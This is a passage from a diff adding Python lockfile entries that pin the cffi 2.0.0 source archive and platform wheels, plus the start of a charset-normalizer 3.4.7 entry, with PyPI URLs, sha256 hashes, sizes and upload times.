"https://files.pythonhosted.org/packages/eb/56/b1ba7935a17738ae8453301356628e8147c79dbb825bcbc73dc7401f9846/cffi-2.0.0.tar.gz", hash = "sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529", size = 523588, upload-time = "2025-09-08T23:24:04.541Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/93/d7/516d984057745a6cd96575eea814fe1edd6646ee6efd552fb7b0921dec83/cffi-2.0.0-cp310-cp310-macosx_10_13_x86_64.whl", hash = "sha256:0cf2d91ecc3fcc0625c2c530fe004f82c110405f101548512cce44322fa8ac44", size = 184283, upload-time = "2025-09-08T23:22:08.01Z" }, + { url = "https://files.pythonhosted.org/packages/9e/84/ad6a0b408daa859246f57c03efd28e5dd1b33c21737c2db84cae8c237aa5/cffi-2.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f73b96c41e3b2adedc34a7356e64c8eb96e03a3782b535e043a986276ce12a49", size = 180504, upload-time = "2025-09-08T23:22:10.637Z" }, + { url = "https://files.pythonhosted.org/packages/50/bd/b1a6362b80628111e6653c961f987faa55262b4002fcec42308cad1db680/cffi-2.0.0-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:53f77cbe57044e88bbd5ed26ac1d0514d2acf0591dd6bb02a3ae37f76811b80c", size = 208811, upload-time = "2025-09-08T23:22:12.267Z" }, + { url = "https://files.pythonhosted.org/packages/4f/27/6933a8b2562d7bd1fb595074cf99cc81fc3789f6a6c05cdabb46284a3188/cffi-2.0.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3e837e369566884707ddaf85fc1744b47575005c0a229de3327f8f9a20f4efeb", size = 216402, upload-time = "2025-09-08T23:22:13.455Z" }, + { url = "https://files.pythonhosted.org/packages/05/eb/b86f2a2645b62adcfff53b0dd97e8dfafb5c8aa864bd0d9a2c2049a0d551/cffi-2.0.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:5eda85d6d1879e692d546a078b44251cdd08dd1cfb98dfb77b670c97cee49ea0", size = 203217, upload-time = "2025-09-08T23:22:14.596Z" }, + { url = "https://files.pythonhosted.org/packages/9f/e0/6cbe77a53acf5acc7c08cc186c9928864bd7c005f9efd0d126884858a5fe/cffi-2.0.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9332088d75dc3241c702d852d4671613136d90fa6881da7d770a483fd05248b4", size = 203079, upload-time = "2025-09-08T23:22:15.769Z" }, + { url = "https://files.pythonhosted.org/packages/98/29/9b366e70e243eb3d14a5cb488dfd3a0b6b2f1fb001a203f653b93ccfac88/cffi-2.0.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fc7de24befaeae77ba923797c7c87834c73648a05a4bde34b3b7e5588973a453", size = 216475, upload-time = "2025-09-08T23:22:17.427Z" }, + { url = "https://files.pythonhosted.org/packages/21/7a/13b24e70d2f90a322f2900c5d8e1f14fa7e2a6b3332b7309ba7b2ba51a5a/cffi-2.0.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cf364028c016c03078a23b503f02058f1814320a56ad535686f90565636a9495", size = 218829, upload-time = "2025-09-08T23:22:19.069Z" }, + { url = "https://files.pythonhosted.org/packages/60/99/c9dc110974c59cc981b1f5b66e1d8af8af764e00f0293266824d9c4254bc/cffi-2.0.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e11e82b744887154b182fd3e7e8512418446501191994dbf9c9fc1f32cc8efd5", size = 211211, upload-time = "2025-09-08T23:22:20.588Z" }, + { url = "https://files.pythonhosted.org/packages/49/72/ff2d12dbf21aca1b32a40ed792ee6b40f6dc3a9cf1644bd7ef6e95e0ac5e/cffi-2.0.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8ea985900c5c95ce9db1745f7933eeef5d314f0565b27625d9a10ec9881e1bfb", size = 218036, upload-time = "2025-09-08T23:22:22.143Z" }, + { url = "https://files.pythonhosted.org/packages/e2/cc/027d7fb82e58c48ea717149b03bcadcbdc293553edb283af792bd4bcbb3f/cffi-2.0.0-cp310-cp310-win32.whl", hash = "sha256:1f72fb8906754ac8a2cc3f9f5aaa298070652a0ffae577e0ea9bd480dc3c931a", size = 172184, upload-time = "2025-09-08T23:22:23.328Z" }, + { url = "https://files.pythonhosted.org/packages/33/fa/072dd15ae27fbb4e06b437eb6e944e75b068deb09e2a2826039e49ee2045/cffi-2.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:b18a3ed7d5b3bd8d9ef7a8cb226502c6bf8308df1525e1cc676c3680e7176739", size = 182790, upload-time = "2025-09-08T23:22:24.752Z" }, + { url = "https://files.pythonhosted.org/packages/12/4a/3dfd5f7850cbf0d06dc84ba9aa00db766b52ca38d8b86e3a38314d52498c/cffi-2.0.0-cp311-cp311-macosx_10_13_x86_64.whl", hash = "sha256:b4c854ef3adc177950a8dfc81a86f5115d2abd545751a304c5bcf2c2c7283cfe", size = 184344, upload-time = "2025-09-08T23:22:26.456Z" }, + { url = "https://files.pythonhosted.org/packages/4f/8b/f0e4c441227ba756aafbe78f117485b25bb26b1c059d01f137fa6d14896b/cffi-2.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2de9a304e27f7596cd03d16f1b7c72219bd944e99cc52b84d0145aefb07cbd3c", size = 180560, upload-time = "2025-09-08T23:22:28.197Z" }, + { url = "https://files.pythonhosted.org/packages/b1/b7/1200d354378ef52ec227395d95c2576330fd22a869f7a70e88e1447eb234/cffi-2.0.0-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:baf5215e0ab74c16e2dd324e8ec067ef59e41125d3eade2b863d294fd5035c92", size = 209613, upload-time = "2025-09-08T23:22:29.475Z" }, + { url = "https://files.pythonhosted.org/packages/b8/56/6033f5e86e8cc9bb629f0077ba71679508bdf54a9a5e112a3c0b91870332/cffi-2.0.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:730cacb21e1bdff3ce90babf007d0a0917cc3e6492f336c2f0134101e0944f93", size = 216476, upload-time = "2025-09-08T23:22:31.063Z" }, + { url = "https://files.pythonhosted.org/packages/dc/7f/55fecd70f7ece178db2f26128ec41430d8720f2d12ca97bf8f0a628207d5/cffi-2.0.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:6824f87845e3396029f3820c206e459ccc91760e8fa24422f8b0c3d1731cbec5", size = 203374, upload-time = "2025-09-08T23:22:32.507Z" }, + { url = "https://files.pythonhosted.org/packages/84/ef/a7b77c8bdc0f77adc3b46888f1ad54be8f3b7821697a7b89126e829e676a/cffi-2.0.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9de40a7b0323d889cf8d23d1ef214f565ab154443c42737dfe52ff82cf857664", size = 202597, upload-time = "2025-09-08T23:22:34.132Z" }, + { url = "https://files.pythonhosted.org/packages/d7/91/500d892b2bf36529a75b77958edfcd5ad8e2ce4064ce2ecfeab2125d72d1/cffi-2.0.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8941aaadaf67246224cee8c3803777eed332a19d909b47e29c9842ef1e79ac26", size = 215574, upload-time = "2025-09-08T23:22:35.443Z" }, + { url = "https://files.pythonhosted.org/packages/44/64/58f6255b62b101093d5df22dcb752596066c7e89dd725e0afaed242a61be/cffi-2.0.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:a05d0c237b3349096d3981b727493e22147f934b20f6f125a3eba8f994bec4a9", size = 218971, upload-time = "2025-09-08T23:22:36.805Z" }, + { url = "https://files.pythonhosted.org/packages/ab/49/fa72cebe2fd8a55fbe14956f9970fe8eb1ac59e5df042f603ef7c8ba0adc/cffi-2.0.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:94698a9c5f91f9d138526b48fe26a199609544591f859c870d477351dc7b2414", size = 211972, upload-time = "2025-09-08T23:22:38.436Z" }, + { url = "https://files.pythonhosted.org/packages/0b/28/dd0967a76aab36731b6ebfe64dec4e981aff7e0608f60c2d46b46982607d/cffi-2.0.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:5fed36fccc0612a53f1d4d9a816b50a36702c28a2aa880cb8a122b3466638743", size = 217078, upload-time = "2025-09-08T23:22:39.776Z" }, + { url = "https://files.pythonhosted.org/packages/2b/c0/015b25184413d7ab0a410775fdb4a50fca20f5589b5dab1dbbfa3baad8ce/cffi-2.0.0-cp311-cp311-win32.whl", hash = "sha256:c649e3a33450ec82378822b3dad03cc228b8f5963c0c12fc3b1e0ab940f768a5", size = 172076, upload-time = "2025-09-08T23:22:40.95Z" }, + { url = "https://files.pythonhosted.org/packages/ae/8f/dc5531155e7070361eb1b7e4c1a9d896d0cb21c49f807a6c03fd63fc877e/cffi-2.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:66f011380d0e49ed280c789fbd08ff0d40968ee7b665575489afa95c98196ab5", size = 182820, upload-time = "2025-09-08T23:22:42.463Z" }, + { url = "https://files.pythonhosted.org/packages/95/5c/1b493356429f9aecfd56bc171285a4c4ac8697f76e9bbbbb105e537853a1/cffi-2.0.0-cp311-cp311-win_arm64.whl", hash = "sha256:c6638687455baf640e37344fe26d37c404db8b80d037c3d29f58fe8d1c3b194d", size = 177635, upload-time = "2025-09-08T23:22:43.623Z" }, + { url = "https://files.pythonhosted.org/packages/ea/47/4f61023ea636104d4f16ab488e268b93008c3d0bb76893b1b31db1f96802/cffi-2.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:6d02d6655b0e54f54c4ef0b94eb6be0607b70853c45ce98bd278dc7de718be5d", size = 185271, upload-time = "2025-09-08T23:22:44.795Z" }, + { url = "https://files.pythonhosted.org/packages/df/a2/781b623f57358e360d62cdd7a8c681f074a71d445418a776eef0aadb4ab4/cffi-2.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8eca2a813c1cb7ad4fb74d368c2ffbbb4789d377ee5bb8df98373c2cc0dee76c", size = 181048, upload-time = "2025-09-08T23:22:45.938Z" }, + { url = "https://files.pythonhosted.org/packages/ff/df/a4f0fbd47331ceeba3d37c2e51e9dfc9722498becbeec2bd8bc856c9538a/cffi-2.0.0-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:21d1152871b019407d8ac3985f6775c079416c282e431a4da6afe7aefd2bccbe", size = 212529, upload-time = "2025-09-08T23:22:47.349Z" }, + { url = "https://files.pythonhosted.org/packages/d5/72/12b5f8d3865bf0f87cf1404d8c374e7487dcf097a1c91c436e72e6badd83/cffi-2.0.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b21e08af67b8a103c71a250401c78d5e0893beff75e28c53c98f4de42f774062", size = 220097, upload-time = "2025-09-08T23:22:48.677Z" }, + { url = "https://files.pythonhosted.org/packages/c2/95/7a135d52a50dfa7c882ab0ac17e8dc11cec9d55d2c18dda414c051c5e69e/cffi-2.0.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:1e3a615586f05fc4065a8b22b8152f0c1b00cdbc60596d187c2a74f9e3036e4e", size = 207983, upload-time = "2025-09-08T23:22:50.06Z" }, + { url = "https://files.pythonhosted.org/packages/3a/c8/15cb9ada8895957ea171c62dc78ff3e99159ee7adb13c0123c001a2546c1/cffi-2.0.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:81afed14892743bbe14dacb9e36d9e0e504cd204e0b165062c488942b9718037", size = 206519, upload-time = "2025-09-08T23:22:51.364Z" }, + { url = "https://files.pythonhosted.org/packages/78/2d/7fa73dfa841b5ac06c7b8855cfc18622132e365f5b81d02230333ff26e9e/cffi-2.0.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3e17ed538242334bf70832644a32a7aae3d83b57567f9fd60a26257e992b79ba", size = 219572, upload-time = "2025-09-08T23:22:52.902Z" }, + { url = "https://files.pythonhosted.org/packages/07/e0/267e57e387b4ca276b90f0434ff88b2c2241ad72b16d31836adddfd6031b/cffi-2.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3925dd22fa2b7699ed2617149842d2e6adde22b262fcbfada50e3d195e4b3a94", size = 222963, upload-time = "2025-09-08T23:22:54.518Z" }, + { url = "https://files.pythonhosted.org/packages/b6/75/1f2747525e06f53efbd878f4d03bac5b859cbc11c633d0fb81432d98a795/cffi-2.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:2c8f814d84194c9ea681642fd164267891702542f028a15fc97d4674b6206187", size = 221361, upload-time = "2025-09-08T23:22:55.867Z" }, + { url = "https://files.pythonhosted.org/packages/7b/2b/2b6435f76bfeb6bbf055596976da087377ede68df465419d192acf00c437/cffi-2.0.0-cp312-cp312-win32.whl", hash = "sha256:da902562c3e9c550df360bfa53c035b2f241fed6d9aef119048073680ace4a18", size = 172932, upload-time = "2025-09-08T23:22:57.188Z" }, + { url = "https://files.pythonhosted.org/packages/f8/ed/13bd4418627013bec4ed6e54283b1959cf6db888048c7cf4b4c3b5b36002/cffi-2.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:da68248800ad6320861f129cd9c1bf96ca849a2771a59e0344e88681905916f5", size = 183557, upload-time = "2025-09-08T23:22:58.351Z" }, + { url = "https://files.pythonhosted.org/packages/95/31/9f7f93ad2f8eff1dbc1c3656d7ca5bfd8fb52c9d786b4dcf19b2d02217fa/cffi-2.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:4671d9dd5ec934cb9a73e7ee9676f9362aba54f7f34910956b84d727b0d73fb6", size = 177762, upload-time = "2025-09-08T23:22:59.668Z" }, + { url = "https://files.pythonhosted.org/packages/4b/8d/a0a47a0c9e413a658623d014e91e74a50cdd2c423f7ccfd44086ef767f90/cffi-2.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:00bdf7acc5f795150faa6957054fbbca2439db2f775ce831222b66f192f03beb", size = 185230, upload-time = "2025-09-08T23:23:00.879Z" }, + { url = "https://files.pythonhosted.org/packages/4a/d2/a6c0296814556c68ee32009d9c2ad4f85f2707cdecfd7727951ec228005d/cffi-2.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:45d5e886156860dc35862657e1494b9bae8dfa63bf56796f2fb56e1679fc0bca", size = 181043, upload-time = "2025-09-08T23:23:02.231Z" }, + { url = "https://files.pythonhosted.org/packages/b0/1e/d22cc63332bd59b06481ceaac49d6c507598642e2230f201649058a7e704/cffi-2.0.0-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:07b271772c100085dd28b74fa0cd81c8fb1a3ba18b21e03d7c27f3436a10606b", size = 212446, upload-time = "2025-09-08T23:23:03.472Z" }, + { url = "https://files.pythonhosted.org/packages/a9/f5/a2c23eb03b61a0b8747f211eb716446c826ad66818ddc7810cc2cc19b3f2/cffi-2.0.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d48a880098c96020b02d5a1f7d9251308510ce8858940e6fa99ece33f610838b", size = 220101, upload-time = "2025-09-08T23:23:04.792Z" }, + { url = "https://files.pythonhosted.org/packages/f2/7f/e6647792fc5850d634695bc0e6ab4111ae88e89981d35ac269956605feba/cffi-2.0.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:f93fd8e5c8c0a4aa1f424d6173f14a892044054871c771f8566e4008eaa359d2", size = 207948, upload-time = "2025-09-08T23:23:06.127Z" }, + { url = "https://files.pythonhosted.org/packages/cb/1e/a5a1bd6f1fb30f22573f76533de12a00bf274abcdc55c8edab639078abb6/cffi-2.0.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:dd4f05f54a52fb558f1ba9f528228066954fee3ebe629fc1660d874d040ae5a3", size = 206422, upload-time = "2025-09-08T23:23:07.753Z" }, + { url = "https://files.pythonhosted.org/packages/98/df/0a1755e750013a2081e863e7cd37e0cdd02664372c754e5560099eb7aa44/cffi-2.0.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c8d3b5532fc71b7a77c09192b4a5a200ea992702734a2e9279a37f2478236f26", size = 219499, upload-time = "2025-09-08T23:23:09.648Z" }, + { url = "https://files.pythonhosted.org/packages/50/e1/a969e687fcf9ea58e6e2a928ad5e2dd88cc12f6f0ab477e9971f2309b57c/cffi-2.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d9b29c1f0ae438d5ee9acb31cadee00a58c46cc9c0b2f9038c6b0b3470877a8c", size = 222928, upload-time = "2025-09-08T23:23:10.928Z" }, + { url = "https://files.pythonhosted.org/packages/36/54/0362578dd2c9e557a28ac77698ed67323ed5b9775ca9d3fe73fe191bb5d8/cffi-2.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6d50360be4546678fc1b79ffe7a66265e28667840010348dd69a314145807a1b", size = 221302, upload-time = "2025-09-08T23:23:12.42Z" }, + { url = "https://files.pythonhosted.org/packages/eb/6d/bf9bda840d5f1dfdbf0feca87fbdb64a918a69bca42cfa0ba7b137c48cb8/cffi-2.0.0-cp313-cp313-win32.whl", hash = "sha256:74a03b9698e198d47562765773b4a8309919089150a0bb17d829ad7b44b60d27", size = 172909, upload-time = "2025-09-08T23:23:14.32Z" }, + { url = "https://files.pythonhosted.org/packages/37/18/6519e1ee6f5a1e579e04b9ddb6f1676c17368a7aba48299c3759bbc3c8b3/cffi-2.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:19f705ada2530c1167abacb171925dd886168931e0a7b78f5bffcae5c6b5be75", size = 183402, upload-time = "2025-09-08T23:23:15.535Z" }, + { url = "https://files.pythonhosted.org/packages/cb/0e/02ceeec9a7d6ee63bb596121c2c8e9b3a9e150936f4fbef6ca1943e6137c/cffi-2.0.0-cp313-cp313-win_arm64.whl", hash = "sha256:256f80b80ca3853f90c21b23ee78cd008713787b1b1e93eae9f3d6a7134abd91", size = 177780, upload-time = "2025-09-08T23:23:16.761Z" }, + { url = "https://files.pythonhosted.org/packages/92/c4/3ce07396253a83250ee98564f8d7e9789fab8e58858f35d07a9a2c78de9f/cffi-2.0.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:fc33c5141b55ed366cfaad382df24fe7dcbc686de5be719b207bb248e3053dc5", size = 185320, upload-time = "2025-09-08T23:23:18.087Z" }, + { url = "https://files.pythonhosted.org/packages/59/dd/27e9fa567a23931c838c6b02d0764611c62290062a6d4e8ff7863daf9730/cffi-2.0.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c654de545946e0db659b3400168c9ad31b5d29593291482c43e3564effbcee13", size = 181487, upload-time = "2025-09-08T23:23:19.622Z" }, + { url = "https://files.pythonhosted.org/packages/d6/43/0e822876f87ea8a4ef95442c3d766a06a51fc5298823f884ef87aaad168c/cffi-2.0.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:24b6f81f1983e6df8db3adc38562c83f7d4a0c36162885ec7f7b77c7dcbec97b", size = 220049, upload-time = "2025-09-08T23:23:20.853Z" }, + { url = "https://files.pythonhosted.org/packages/b4/89/76799151d9c2d2d1ead63c2429da9ea9d7aac304603de0c6e8764e6e8e70/cffi-2.0.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:12873ca6cb9b0f0d3a0da705d6086fe911591737a59f28b7936bdfed27c0d47c", size = 207793, upload-time = "2025-09-08T23:23:22.08Z" }, + { url = "https://files.pythonhosted.org/packages/bb/dd/3465b14bb9e24ee24cb88c9e3730f6de63111fffe513492bf8c808a3547e/cffi-2.0.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:d9b97165e8aed9272a6bb17c01e3cc5871a594a446ebedc996e2397a1c1ea8ef", size = 206300, upload-time = "2025-09-08T23:23:23.314Z" }, + { url = "https://files.pythonhosted.org/packages/47/d9/d83e293854571c877a92da46fdec39158f8d7e68da75bf73581225d28e90/cffi-2.0.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:afb8db5439b81cf9c9d0c80404b60c3cc9c3add93e114dcae767f1477cb53775", size = 219244, upload-time = "2025-09-08T23:23:24.541Z" }, + { url = "https://files.pythonhosted.org/packages/2b/0f/1f177e3683aead2bb00f7679a16451d302c436b5cbf2505f0ea8146ef59e/cffi-2.0.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:737fe7d37e1a1bffe70bd5754ea763a62a066dc5913ca57e957824b72a85e205", size = 222828, upload-time = "2025-09-08T23:23:26.143Z" }, + { url = "https://files.pythonhosted.org/packages/c6/0f/cafacebd4b040e3119dcb32fed8bdef8dfe94da653155f9d0b9dc660166e/cffi-2.0.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d40b0c1", size = 220926, upload-time = "2025-09-08T23:23:27.873Z" }, + { url = "https://files.pythonhosted.org/packages/3e/aa/df335faa45b395396fcbc03de2dfcab242cd61a9900e914fe682a59170b1/cffi-2.0.0-cp314-cp314-win32.whl", hash = "sha256:087067fa8953339c723661eda6b54bc98c5625757ea62e95eb4898ad5e776e9f", size = 175328, upload-time = "2025-09-08T23:23:44.61Z" }, + { url = "https://files.pythonhosted.org/packages/bb/92/882c2d30831744296ce713f0feb4c1cd30f346ef747b530b5318715cc367/cffi-2.0.0-cp314-cp314-win_amd64.whl", hash = "sha256:203a48d1fb583fc7d78a4c6655692963b860a417c0528492a6bc21f1aaefab25", size = 185650, upload-time = "2025-09-08T23:23:45.848Z" }, + { url = "https://files.pythonhosted.org/packages/9f/2c/98ece204b9d35a7366b5b2c6539c350313ca13932143e79dc133ba757104/cffi-2.0.0-cp314-cp314-win_arm64.whl", hash = "sha256:dbd5c7a25a7cb98f5ca55d258b103a2054f859a46ae11aaf23134f9cc0d356ad", size = 180687, upload-time = "2025-09-08T23:23:47.105Z" }, + { url = "https://files.pythonhosted.org/packages/3e/61/c768e4d548bfa607abcda77423448df8c471f25dbe64fb2ef6d555eae006/cffi-2.0.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:9a67fc9e8eb39039280526379fb3a70023d77caec1852002b4da7e8b270c4dd9", size = 188773, upload-time = "2025-09-08T23:23:29.347Z" }, + { url = "https://files.pythonhosted.org/packages/2c/ea/5f76bce7cf6fcd0ab1a1058b5af899bfbef198bea4d5686da88471ea0336/cffi-2.0.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7a66c7204d8869299919db4d5069a82f1561581af12b11b3c9f48c584eb8743d", size = 185013, upload-time = "2025-09-08T23:23:30.63Z" }, + { url = "https://files.pythonhosted.org/packages/be/b4/c56878d0d1755cf9caa54ba71e5d049479c52f9e4afc230f06822162ab2f/cffi-2.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7cc09976e8b56f8cebd752f7113ad07752461f48a58cbba644139015ac24954c", size = 221593, upload-time = "2025-09-08T23:23:31.91Z" }, + { url = "https://files.pythonhosted.org/packages/e0/0d/eb704606dfe8033e7128df5e90fee946bbcb64a04fcdaa97321309004000/cffi-2.0.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:92b68146a71df78564e4ef48af17551a5ddd142e5190cdf2c5624d0c3ff5b2e8", size = 209354, upload-time = "2025-09-08T23:23:33.214Z" }, + { url = "https://files.pythonhosted.org/packages/d8/19/3c435d727b368ca475fb8742ab97c9cb13a0de600ce86f62eab7fa3eea60/cffi-2.0.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:b1e74d11748e7e98e2f426ab176d4ed720a64412b6a15054378afdb71e0f37dc", size = 208480, upload-time = "2025-09-08T23:23:34.495Z" }, + { url = "https://files.pythonhosted.org/packages/d0/44/681604464ed9541673e486521497406fadcc15b5217c3e326b061696899a/cffi-2.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:28a3a209b96630bca57cce802da70c266eb08c6e97e5afd61a75611ee6c64592", size = 221584, upload-time = "2025-09-08T23:23:36.096Z" }, + { url = "https://files.pythonhosted.org/packages/25/8e/342a504ff018a2825d395d44d63a767dd8ebc927ebda557fecdaca3ac33a/cffi-2.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7553fb2090d71822f02c629afe6042c299edf91ba1bf94951165613553984512", size = 224443, upload-time = "2025-09-08T23:23:37.328Z" }, + { url = "https://files.pythonhosted.org/packages/e1/5e/b666bacbbc60fbf415ba9988324a132c9a7a0448a9a8f125074671c0f2c3/cffi-2.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6c6c373cfc5c83a975506110d17457138c8c63016b563cc9ed6e056a82f13ce4", size = 223437, upload-time = "2025-09-08T23:23:38.945Z" }, + { url = "https://files.pythonhosted.org/packages/a0/1d/ec1a60bd1a10daa292d3cd6bb0b359a81607154fb8165f3ec95fe003b85c/cffi-2.0.0-cp314-cp314t-win32.whl", hash = "sha256:1fc9ea04857caf665289b7a75923f2c6ed559b8298a1b8c49e59f7dd95c8481e", size = 180487, upload-time = "2025-09-08T23:23:40.423Z" }, + { url = "https://files.pythonhosted.org/packages/bf/41/4c1168c74fac325c0c8156f04b6749c8b6a8f405bbf91413ba088359f60d/cffi-2.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:d68b6cef7827e8641e8ef16f4494edda8b36104d79773a334beaa1e3521430f6", size = 191726, upload-time = "2025-09-08T23:23:41.742Z" }, + { url = "https://files.pythonhosted.org/packages/ae/3a/dbeec9d1ee0844c679f6bb5d6ad4e9f198b1224f4e7a32825f47f6192b0c/cffi-2.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9", size = 184195, upload-time = "2025-09-08T23:23:43.004Z" }, +] + +[[package]] +name = "charset-normalizer" +version = "3.4.7" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e7/a1/67fe25fac3c7642725500a3f6cfe5821ad557c3abb11c9d20d12c7008d3e/charset_normalizer-3.4.7.tar.gz", hash = "sha256:ae89db9e5f98a11a4bf50407d4363e7b09b31e55bc117b4f7d80aab97ba009e5", size = 144271, upload-time = "2026-04-02T09:28:39.342Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/26/08/0f303cb0b529e456bb116f2d50565a482694fbb94340bf56d44677e7ed03/charset_normalizer-3.4.7-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:cdd68a1fb318e290a2077696b7eb7a21a49163c455979c639bf5a5dcdc46617d", size = 315182, upload-time = "2026-04-02T09:25:40.673Z" }, + { url = "https://files.pythonhosted.org/packages/24/47/b192933e94b546f1b1fe4df9cc1f84fcdbf2359f8d1081d46dd029b50207/charset_normalizer-3.4.7-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e17b8d5d6a8c47c85e68ca8379def1303fd360c3e22093a807cd34a71cd082b8", size = 209329, upload-time = "2026-04-02T09:25:42.354Z" }, + { url = "https://files.pythonhosted.org/packages/c2/b4/01fa81c5ca6141024d89a8fc15968002b71da7f825dd14113207113fabbd/charset_normalizer-3.4.7-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:511ef87c8aec0783e08ac18565a16d435372bc1ac25a91e6ac7f5ef2b0bff790", size = 231230, upload-time = "2026-04-02T09:25:44.281Z" }, + { url = "https://files.pythonhosted.org/packages/20/f7/7b991776844dfa058017e600e6e55ff01984a063290ca5622c0b63162f68/charset_normalizer-3.4.7-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:007d05ec7321d12a40227aae9e2bc6dca73f3cb21058999a1df9e193555a9dcc", size = 225890, upload-time = "2026-04-02T09:25:45.475Z" }, + { url = "https://files.pythonhosted.org/packages/20/e7/bed0024a0f4ab0c8a9c64d4445f39b30c99bd1acd228291959e3de664247/charset_normalizer-3.4.7-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:cf29836da5119f3c8a8a70667b0ef5fdca3bb12f80fd06487cfa575b3909b393", size = 216930, upload-time = "2026-04-02T09:25:46.58Z" }, + { url = "https://files.pythonhosted.org/packages/e2/ab/b18f0ab31cdd7b3ddb8bb76c4a414aeb8160c9810fdf1bc62f269a539d87/charset_normalizer-3.4.7-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:12d8baf840cc7889b37c7c770f478adea7adce3dcb3944d02ec87508e2dcf153", size = 202109, upload-time = "2026-04-02T09:25:48.031Z" }, + { url = "https://files.pythonhosted.org/packages/82/e5/7e9440768a06dfb3075936490cb82dbf0ee20a133bf0dd8551fa096914ec/charset_normalizer-3.4.7-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d560742f3c0d62afaccf9f41fe485ed69bd7661a241f86a3ef0f0fb8b1a397af", size = 